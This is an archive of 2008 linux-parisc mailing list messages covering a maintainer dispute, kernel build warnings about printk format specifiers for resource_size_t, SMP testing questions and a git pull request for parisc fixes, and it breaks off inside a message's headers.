Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L5Adg-0002eS-JX
	for glpp-linux-parisc@gmane.org; Wed, 26 Nov 2008 04:00:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753004AbYKZC7R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 21:59:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753023AbYKZC7Q
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 21:59:16 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54004 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752989AbYKZC7Q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 21:59:16 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L5AcH-0004f5-8G; Wed, 26 Nov 2008 02:59:01 +0000
Content-Disposition: inline
In-Reply-To: <20081126024756.GC27315@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/882>

On Tue, Nov 25, 2008 at 07:47:56PM -0700, Grant Grundler wrote:
> On Tue, Nov 25, 2008 at 12:20:00PM -0500, Kyle McMartin wrote:
> > On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> > > And Helge has been great about fixing stuff - much better than the three
> > > listed maintainers lately.
> > 
> > You have an awful lot of nerve saying this, considering.
> 
> Kyle,
> For parisc specific files, I've seen more patches from Helge on
> linux-parisc than anyone else. That's all I meant.  I know I've
> contributed zero parisc patches in a long time.
> I'm not out to offend anyone or pick on you specifically.
> 
> I routinely review other people's parisc patches, occasionally try to
> narrow down the latest b0rkage, and will continue with the care and
> feeding of the public access machines in Cupertino. The "code review"
> is the only reason I feel like I should continue as a listed maintainer.
> 

Possibly because I don't send my own to the mailing list unless I feel
they need review?

Seriously, I *am* offended and I believe I have every right to be.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 26 Nov 2008 18:51:43 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20081126185143.065841db@tuxicoman.be>
References: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
	<20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
	<119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
	<20081125145850.1a5ddf23.gmsoft@tuxicoman.be>
	<119aab440811250607h5c2afd5cmf72914c3fe125077@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227721978 3897 80.91.229.12 (26 Nov 2008 17:52:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Nov 2008 17:52:58 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 26 18:53:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L5OaB-0000ix-UK
	for glpp-linux-parisc@gmane.org; Wed, 26 Nov 2008 18:53:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752218AbYKZRwg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Nov 2008 12:52:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752239AbYKZRwg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Nov 2008 12:52:36 -0500
Original-Received: from cable-85.28.88.25.coditel.net ([85.28.88.25]:42167 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752218AbYKZRwf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Nov 2008 12:52:35 -0500
Original-Received: from wifi007.bxl.tuxicoman.be ([172.20.1.7] helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1L5OYa-0000T5-KE; Wed, 26 Nov 2008 18:52:13 +0100
In-Reply-To: <119aab440811250607h5c2afd5cmf72914c3fe125077@mail.gmail.com>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/883>


Hi Carlos,

Sure I will. Any particular version you want me to test ?

Also, I was quite lost with the flow of emails about kernel bugs lately.
What kernel version should I use and which what patch set ?

Cheers,
 Guy

On Tue, 25 Nov 2008 09:07:42 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> On Tue, Nov 25, 2008 at 8:58 AM, Guy Martin <gmsoft@tuxicoman.be>
> wrote:
> > It has been happening to me as far back as 2.6.25 IIRC.
> > It occurs only on SMP kernels and on various models (K410, L2000).
> >
> > I've tried to bissect that as well but kernel before 2.6.25 aren't
> > really useable SMP due to the global irq bug or so.
> >
> > To me that is a bug that as always been there. It is random but
> > some builds almost always fail. Not always at the same place tho.
> 
> Can you build glibc, run the testsuite, and see if anything fails
> semi-consistently?
> 
> Cheers,
> Carlos.


-- 
Guy Martin
Gentoo Linux - HPPA port lead

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 30 Nov 2008 15:24:42 -0500 (EST)
Lines: 70
Approved: news@gmane.org
Message-ID: <20081130202443.7B1154FB4@hiauly1.hia.nrc.ca>
References: <20081126185143.065841db@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228076697 2452 80.91.229.12 (30 Nov 2008 20:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Nov 2008 20:24:57 +0000 (UTC)
Cc: carlos@systemhalted.org, grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 30 21:25:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L6sre-00077N-Jk
	for glpp-linux-parisc@gmane.org; Sun, 30 Nov 2008 21:25:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755494AbYK3UYq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Nov 2008 15:24:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755564AbYK3UYq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Nov 2008 15:24:46 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1058 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755494AbYK3UYp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Nov 2008 15:24:45 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7B1154FB4; Sun, 30 Nov 2008 15:24:43 -0500 (EST)
In-Reply-To: <20081126185143.065841db@tuxicoman.be> from "Guy Martin" at Nov 26, 2008 06:51:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/884>

Hi,

I just pulled and built Kyle's parisc-2.6 tree.  It essentially 2.6.28-rc6
plus four extra patches (three parisc specific).

I am seeing these warnings in a 64-bit kernel build:

drivers/input/keyboard/hilkbd.c: In function 'hil_init_chip':
drivers/input/keyboard/hilkbd.c:317: warning: format '%08lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'

drivers/net/lasi_82596.c: In function 'lan_init_chip':
drivers/net/lasi_82596.c:164: warning: format '%lx' expects type 'long unsigned 
int', but argument 3 has type 'resource_size_t'
drivers/net/lasi_82596.c:169: warning: format '%lx' expects type 'long unsigned 
int', but argument 2 has type 'resource_size_t'

drivers/parisc/ccio-dma.c: In function 'ccio_init_resource':
drivers/parisc/ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsig
ned int', but argument 3 has type 'resource_size_t'drivers/parisc/ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
drivers/parisc/ccio-dma.c: In function 'ccio_probe':
drivers/parisc/ccio-dma.c:1554: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'

drivers/parisc/hppb.c: In function 'hppb_probe':
drivers/parisc/hppb.c:65: warning: format '%x' expects type 'unsigned int', but argument 2 has type 'resource_size_t'
drivers/parisc/hppb.c:77: warning: format '%08x' expects type 'unsigned int', but argument 3 has type 'resource_size_t'
drivers/parisc/hppb.c:77: warning: format '%08x' expects type 'unsigned int', but argument 4 has type 'resource_size_t'

drivers/parisc/dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
drivers/parisc/dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 5 has type 'resource_size_t'
drivers/parisc/dino.c: In function 'dino_common_init':
drivers/parisc/dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
drivers/parisc/dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'

drivers/parisc/asp.c: In function 'asp_init_chip':
drivers/parisc/asp.c:85: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'

drivers/parport/parport_gsc.c: In function 'parport_init_chip':
drivers/parport/parport_gsc.c:356: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'

drivers/serial/8250_gsc.c: In function 'serial_init_chip':
drivers/serial/8250_gsc.c:44: warning: format '%lx' expects type 'long unsigned 
int', but argument 2 has type 'resource_size_t'

sound/parisc/harmony.c: In function 'snd_harmony_create':
sound/parisc/harmony.c:938: warning: format '%lx' expects type 'long unsigned in
t', but argument 2 has type 'resource_size_t'

'resource_size_t' is defined in linux/types.h:

#ifdef CONFIG_PHYS_ADDR_T_64BIT
typedef u64 phys_addr_t;
#else
typedef u32 phys_addr_t;
#endif

typedef phys_addr_t resource_size_t;

CONFIG_PHYS_ADDR_T_64BIT is defined in linux/autoconf.h, so I have to think
it is not being included, resulting in incorrect defines for phys_addr_t.
Is this what needs to be done?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 30 Nov 2008 22:03:51 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <4932FFB7.4040506@gmx.de>
References: <20081130202443.7B1154FB4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228079100 9835 80.91.229.12 (30 Nov 2008 21:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Nov 2008 21:05:00 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, carlos@systemhalted.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 30 22:06:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L6tTc-0001T0-KP
	for glpp-linux-parisc@gmane.org; Sun, 30 Nov 2008 22:05:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753064AbYK3VEA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Nov 2008 16:04:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753327AbYK3VD7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Nov 2008 16:03:59 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39308 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753064AbYK3VD7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Nov 2008 16:03:59 -0500
Original-Received: (qmail invoked by alias); 30 Nov 2008 21:03:54 -0000
Original-Received: from mnhm-590f7760.pool.einsundeins.de (EHLO halden.box) [89.15.119.96]
  by mail.gmx.net (mp049) with SMTP; 30 Nov 2008 22:03:54 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+xQd0HYY6xubzpU1VobBay26iPSLlJJ0C0YEEpH2
	er7adG9Uy96yUc
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081130202443.7B1154FB4@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/885>

John David Anglin wrote:
> Hi,
> 
> I just pulled and built Kyle's parisc-2.6 tree.  It essentially 2.6.28-rc6
> plus four extra patches (three parisc specific).
> 
> I am seeing these warnings in a 64-bit kernel build:
> 
> drivers/input/keyboard/hilkbd.c: In function 'hil_init_chip':
> drivers/input/keyboard/hilkbd.c:317: warning: format '%08lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
> 
> drivers/net/lasi_82596.c: In function 'lan_init_chip':
> drivers/net/lasi_82596.c:164: warning: format '%lx' expects type 'long unsigned 
> int', but argument 3 has type 'resource_size_t'
> drivers/net/lasi_82596.c:169: warning: format '%lx' expects type 'long unsigned 
> int', but argument 2 has type 'resource_size_t'
> 
> drivers/parisc/ccio-dma.c: In function 'ccio_init_resource':
> drivers/parisc/ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsig
> ned int', but argument 3 has type 'resource_size_t'drivers/parisc/ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
> drivers/parisc/ccio-dma.c: In function 'ccio_probe':
> drivers/parisc/ccio-dma.c:1554: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
> 
> drivers/parisc/hppb.c: In function 'hppb_probe':
> drivers/parisc/hppb.c:65: warning: format '%x' expects type 'unsigned int', but argument 2 has type 'resource_size_t'
> drivers/parisc/hppb.c:77: warning: format '%08x' expects type 'unsigned int', but argument 3 has type 'resource_size_t'
> drivers/parisc/hppb.c:77: warning: format '%08x' expects type 'unsigned int', but argument 4 has type 'resource_size_t'
> 
> drivers/parisc/dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
> drivers/parisc/dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 5 has type 'resource_size_t'
> drivers/parisc/dino.c: In function 'dino_common_init':
> drivers/parisc/dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
> drivers/parisc/dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
> 
> drivers/parisc/asp.c: In function 'asp_init_chip':
> drivers/parisc/asp.c:85: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
> 
> drivers/parport/parport_gsc.c: In function 'parport_init_chip':
> drivers/parport/parport_gsc.c:356: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
> 
> drivers/serial/8250_gsc.c: In function 'serial_init_chip':
> drivers/serial/8250_gsc.c:44: warning: format '%lx' expects type 'long unsigned 
> int', but argument 2 has type 'resource_size_t'
> 
> sound/parisc/harmony.c: In function 'snd_harmony_create':
> sound/parisc/harmony.c:938: warning: format '%lx' expects type 'long unsigned in
> t', but argument 2 has type 'resource_size_t'
> 
> 'resource_size_t' is defined in linux/types.h:
> 
> #ifdef CONFIG_PHYS_ADDR_T_64BIT
> typedef u64 phys_addr_t;
> #else
> typedef u32 phys_addr_t;
> #endif
> 
> typedef phys_addr_t resource_size_t;
> 
> CONFIG_PHYS_ADDR_T_64BIT is defined in linux/autoconf.h, so I have to think
> it is not being included, resulting in incorrect defines for phys_addr_t.
> Is this what needs to be done?

Citing Documentation/printk-formats.txt:
If <type> is dependent on a config option for its size (e.g., sector_t,
blkcnt_t, phys_addr_t, resource_size_t) or is architecture-dependent
for its size (e.g., tcflag_t), use a format specifier of its largest
possible type and explicitly cast to it.  Example:

         printk("test: sector number/total blocks: %llu/%llu\n",
                 (unsigned long long)sector, (unsigned long 
long)blockcount);

So, we should convert everything to (unsigned long long).
I was planning to send such patches soon, but didn't had time yet.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git patches] parisc fixes for v2.6.28
Date: Sun, 30 Nov 2008 21:41:57 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20081130214157.GA27136@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228081336 17299 80.91.229.12 (30 Nov 2008 21:42:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Nov 2008 21:42:16 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 30 22:43:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L6u4T-0004DV-4J
	for glpp-linux-parisc@gmane.org; Sun, 30 Nov 2008 22:43:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753352AbYK3VmE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Nov 2008 16:42:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753256AbYK3VmE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Nov 2008 16:42:04 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:37231 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753352AbYK3VmD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Nov 2008 16:42:03 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1++KAZ9Xf+OSdnb6TZm33IHbgxcYpCIEUc@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mAULfvHo027557
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 30 Nov 2008 21:41:57 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mAULfv1l027556;
	Sun, 30 Nov 2008 21:41:57 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/8698/Sun Nov 30 15:09:19 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 30 Nov 2008 21:41:59 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/886>

The following changes since commit ed313489badef16d700f5a3be50e8fd8f8294bc8:
  Linus Torvalds (1):
        Merge master.kernel.org:/home/rmk/linux-2.6-arm

are available in the git repository at:

  master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Geert Uytterhoeven (1):
      parisc: __kernel_time_t is always long

Helge Deller (1):
      parisc: fix kernel crash when unwinding a userspace process

Kay Sievers (1):
      parisc: struct device - replace bus_id with dev_name(), dev_set_name()

 arch/parisc/include/asm/parisc-device.h |    4 +-
 arch/parisc/include/asm/posix_types.h   |    3 +-
 arch/parisc/kernel/drivers.c            |    6 +++-
 arch/parisc/kernel/traps.c              |   43 +++++++++++++++----------------
 4 files changed, 28 insertions(+), 28 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 30 Nov 2008 19:00:12 -2900 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20081201000013.349294DF8@hiauly1.hia.nrc.ca>
References: <4932FFB7.4040506@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228089636 7773 80.91.229.12 (1 Dec 2008 00:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 00:00:36 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, carlos@systemhalted.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 01:01:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L6wEC-0006Ri-Qt
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 01:01:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752409AbYLAAAQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Nov 2008 19:00:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753648AbYLAAAQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Nov 2008 19:00:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1070 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752409AbYLAAAP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Nov 2008 19:00:15 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 349294DF8; Sun, 30 Nov 2008 19:00:13 -0500 (EST)
In-Reply-To: <4932FFB7.4040506@gmx.de> from "Helge Deller" at Nov 30, 2008 10:03:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/887>

> So, we should convert everything to (unsigned long long).
> I was planning to send such patches soon, but didn't had time yet.

All the warnings are for addresses.  We also need to change the format
specifier depending on whether addresses are 32 or 64 bits.  For example,

hil_init_chip(struct parisc_device *dev)
{
        if (!dev->irq) {
		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lx\n", dev->hpa.start);

Are there some standard 32 and 64 bit defines for format strings?  Or, do we
always want 16 hex digits?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] 2.6.28-rc6 update parisc MAINTAINERS
Date: Mon, 1 Dec 2008 00:21:35 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <20081201072134.GE17583@colo.lackof.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081122122208.GE5707@parisc-linux.org> <20081122180152.GC2690@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228116167 29010 80.91.229.12 (1 Dec 2008 07:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2008 07:22:47 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 08:23:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L738G-0007ze-8q
	for glpp-linux-parisc@gmane.org; Mon, 01 Dec 2008 08:23:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750740AbYLAHWg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
